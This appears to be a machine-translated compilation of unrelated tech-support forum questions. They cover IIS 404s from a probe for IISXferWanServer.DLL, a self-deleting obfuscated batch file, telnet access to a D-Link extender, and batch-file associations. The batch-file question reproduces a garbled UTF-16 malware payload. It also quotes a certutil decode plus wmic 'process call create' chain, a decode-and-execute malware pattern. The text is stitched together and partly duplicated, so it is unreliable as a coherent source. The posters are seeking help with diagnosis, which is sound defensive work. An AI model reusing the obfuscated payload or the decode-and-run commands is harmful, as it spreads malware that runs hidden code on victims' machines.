看到每秒生成几次 404,经过一些调试后,我发现有些东西正在尝试调用/Discovery/HTTPsvc/IISXferWanServer.DLL
你能建议它是什么以及我将如何停止它吗?
远程地址似乎是另一个带有 RealVNC 和 Microsoft SQL Server 2008 R2 的本地服务器
谢谢
看到每秒生成几次 404,经过一些调试后,我发现有些东西正在尝试调用/Discovery/HTTPsvc/IISXferWanServer.DLL
你能建议它是什么以及我将如何停止它吗?
远程地址似乎是另一个带有 RealVNC 和 Microsoft SQL Server 2008 R2 的本地服务器
谢谢
我有一个包含大量中文字符的批处理文件,如下所示。当我运行它时,该文件被删除。知道如何解码内容是什么以及它在做什么吗?
部分文字:
挦獬╀啰求捉縺㤸㠬┳倥䉕楌㩣㕾ㄬ䌥潈⁞景╞畐求䍉縺㘴ㄬ┶ഠ帊瀥䉕䥬㩃ㅾⰴ┱䱞瀥䉕楬㩃㕾ⰵ㜱帥瀥扵䥬㩣㑾ㄬ‥ഠ匊瑅删㵞杊╞啰䱂捉縺㌱ㄬ帥瑧塇╺啰䱂捉縺ⰴ┱╷啰䱂捉縺ㄱㄬ帥浨瀥䉕䥌㩣ㅾⰰ┱卞䡞幉⁏爥縺ⰸ┱╥㩲㑾ㄬ‥慮爥縺㈱ㄬ攥㴠┠㩲ㅾⰰ┱╡㩲㑾ㄬ挥爥縺ㄱㄬ‥╯㩲ㅾⰰ┱爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥爥縺〱ㄬ礥┠㩲ㅾⰲ┱潯爥縺㈱ㄬ㠥㔲ഠ┊㩲㡾ㄬ攥爥縺ⰴ┱┠㩲ㅾㄬ┥㩲㉾ㄬ┥㩲㑾ㄬ┥㩲ㅾⰱ┱爥縺㌱ㄬ┥㩲ㅾⰰ┱㴠┠㩲ㅾⰱ┱爥縺ⰴ┱爥縺ⰴ┱╰㩲㡾ㄬ㨥⼯爥縺ⰱ┱爥縺ⰲ┱爥縺ⰴ┱爥縺ㄱㄬ┥㩲ㅾⰳ┱爥縺〱ㄬ⸥潣爥縺㈱ㄬ⼥爥縺㈱ㄬ漥╯㩲ㅾⰲ┱㈸⼵爥縺〱ㄬ愥爥縺ⰴ┱╣㩲ㅾⰱ┱漭爥縺〱ㄬ春爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥爥縺㈱ㄬ愥敤┭㩲㉾ㄬ渥瀭╹㩲㑾ㄬ┥㩲ㅾⰱ┱湯†湞敞爥縺ⰴ┱ㅞ⁞爥縺ⰸ┱䕞爥縺ⰸ┱爥縺㐱ㄬ┥㩲ㅾⰶ┱幯⁎帾啎䱞㈠☾‱ഠ帊爥縺ⰲ┱⁆攥剒剏敌䕖╬㴠‽‰
ഠ倊幯別縺ⰹ┱剅╞㩒ㅾⰴ┱別縺ㄱㄬ帥幅幌⽬⁗⼠灥〠⽞湞別縺㜱ㄬ帥幰振帠帢摁䑞席幍偰干䙅幥幒湅䍞ⵞ䕞別縺ⰶ┱捞╬㩒ㅾⰳ┱別縺㐱ㄬ帥別縺㘱ㄬ漥乞偞╡㩒㑾ㄬ┥㩒ㅾⰵ┱✠䍞尺‧席幦副幃㭅幥別縺ⰶ┱╞㩒㉾ㄬ┥㩒㑾ㄬ‥•ഠ⤊䔠╌㩲㡾ㄬ帥
ഠ爊╥㩲ㅾㄬ‥摡爥縺㔱ㄬ䬥啃䕜癮爥縺ⰲ┱潲╮㩲ㅾⰲ┱湥爥縺ⰴ┱⼠瘯┠㩲㥾ㄬ┥㩲㉾ㄬ渥╤㩲㉾ㄬ爥⼠爥縺ⰴ┱删幅爥縺ⰵ┱╟㩲ㅾⰴ┱幚⼠≞╣㩲ㅾⰲ┱硥振┠㩲㡾ㄬ┥㩲㑾ㄬ愥╲㩲㑾ㄬ‥≜≜⁞┯㩒ㅾⰲ┱別縺ⰲ┱湞尠┢䙾尰㸢乞爥縺㌱ㄬ䰥㈠☾‱簠⁼╞㩒ㅾⰴ┱癞╣㩒ㅾⰵ┱別縺㜱ㄬ┥㩒㡾ㄬ┥㩒㑾ㄬ帥•举爥縺㌱ㄬ帥⁌㸲ㄦ†爥縺㐱ㄬ挥爥縺㔱ㄬ吥╁㩲㡾ㄬ欥爥縺ⰸ┱⼠啒⁎⽞湔尠╍㩲ㅾⰶ┱牣
自从第 3 方安装它以来,它一直是服务器上的一个批处理文件,但它们现在已经破产了,我们正试图弄清楚到底发生了什么
当我们对它运行文件时,我们得到:
Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
它没有翻译成任何东西,所以它实际上可能不是中文,但那是由于我的无知而不是其他任何事情
我也尝试过使用iconv
,但文件保持不变
iconv -f utf-16 -t utf-8 batchfile.bat > filename_new.txt
当我运行strings
它时,我得到了一些可读的东西
certutil -f -decode %pooth% %pooth%
timeout 1
wmic process call create %pooth%
setlocal enableextensions
在十六进制编辑器中,我得到以下内容,虽然它更具可读性,但它仍然看起来像乱码
我有一个 D-Link 无线 AC1200 双频千兆范围扩展器 (DAP-1650) 并试图进入 telnetd 服务器,但我没有密码。我尝试了一些常用的:管理员、密码、空白但不行
有任何想法吗?
Windows 用户 - 我犯了将批处理文件与 Sublime 关联的错误,所以每次我打开它时,它不是运行,而是在 Sublime 中打开
我无法访问命令提示符(因此使用批处理文件的原因)或编辑注册表(工作笔记本电脑,已锁定)
我将如何扭转这一点,所以双击批处理文件运行它而不是在 Sublime 中打开?
谢谢